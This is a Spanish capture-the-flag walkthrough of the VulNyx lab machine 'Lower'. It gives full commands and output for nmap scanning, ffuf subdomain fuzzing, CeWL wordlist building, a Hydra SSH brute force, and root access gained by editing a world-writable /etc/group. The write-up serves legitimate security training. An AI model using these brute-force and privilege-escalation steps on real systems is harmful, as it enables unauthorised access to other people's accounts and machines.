VulNyx - Lower 🔵

logo

  • Brute Force SSH - (Hydra)
  • Group File - (Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.32

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80 172.0.100.32

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://www.unique.nyx

HTTP - TCP 80

http

Añado el dominio unique.nyx a mi archivo hosts y al previsualizar el dominio obtengo el siguiente error:

error_redirect

Al no encontrar ningún directorio con el escaneo de directorios, realizo un escaneo de subdominios.

❯ ffuf -t 100 -c -fw 1 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.unique.nyx" -u http://unique.nyx

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://unique.nyx
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.unique.nyx
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

tech                    [Status: 200, Size: 19766, Words: 4127, Lines: 453, Duration: 7ms]

Añado el subdominio tech.unique.nyx al archivo hosts.

tech.unique

Realicé un escaneo de directorios y solo encontré los directorios de la página web.

❯ ffuf -c -t 200 -fc=404,403 -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://tech.unique.nyx/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://tech.unique.nyx/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 404,403
________________________________________________

css                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 10ms]
fonts                   [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 13ms]
img                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 12ms]
js                      [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 11ms]
:: Progress: [20476/20476] :: Job [1/1] :: 195 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

En la pestaña Team veo que hay 3 empleados con sus respectivos nombres, los cuales me pueden servir para crear un diccionario con nombres de usuario.

usuarios

❯ echo -e "tom\nkathren\nlancer" > users.txt

Con la herramienta CEWL crearé un diccionario usando la página web y usaré la flag --with-numbers porque, por defecto, CEWL solo extrae palabras alfabéticas, pero este parámetro permite añadir palabras que contengan dígitos.

cewl http://tech.unique.nyx --with-numbers -w pass.txt

Ahora realizo un ataque de fuerza bruta con Hydra usando los diccionarios creados.

hydra -t 64 -L "users.txt" -P "pass.txt" 172.0.100.32 ssh -V -F -I

Obtuve la contraseña del usuario lancer.

hydra

Me conecté al sistema con la contraseña obtenida.

❯ ssh lancer@172.0.100.32
lancer@172.0.100.32's password: 
lancer@lower:~$ id
uid=1000(lancer) gid=1000(lancer) grupos=1000(lancer)

Una vez conectado al sistema, realicé una búsqueda de archivos y directorios con permisos de escritura y encontré el archivo /etc/group.

lancer@lower:~$ find / -writable 2>/dev/null | grep -v -i -E 'home|proc|run|sys|tmp|dev|var'
/etc/group

Al identificar que /etc/group es escribible, como lo muestra la salida del comando:

lancer@lower:~$ ls -la /etc/group 
-rw-r--rw- 1 root root 619 dic 15 13:22 /etc/group

procedí a editarlo para agregar al usuario lancer al grupo sudo y guardé los cambios.

group

Me desconecté del sistema y me volví a conectar mediante SSH.

❯ ssh lancer@172.0.100.32
lancer@172.0.100.32's password: 
lancer@lower:~$ id
uid=1000(lancer) gid=1000(lancer) grupos=1000(lancer),27(sudo)

Ahora, al estar en el grupo sudo, puedo obtener permisos de root lanzando un sudo su y usando la contraseña del usuario lancer.

lancer@lower:~$ sudo su
[sudo] contraseña para lancer: 
root@lower:/home/lancer# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto, concluimos la explotación de la máquina Lower.

Saludos!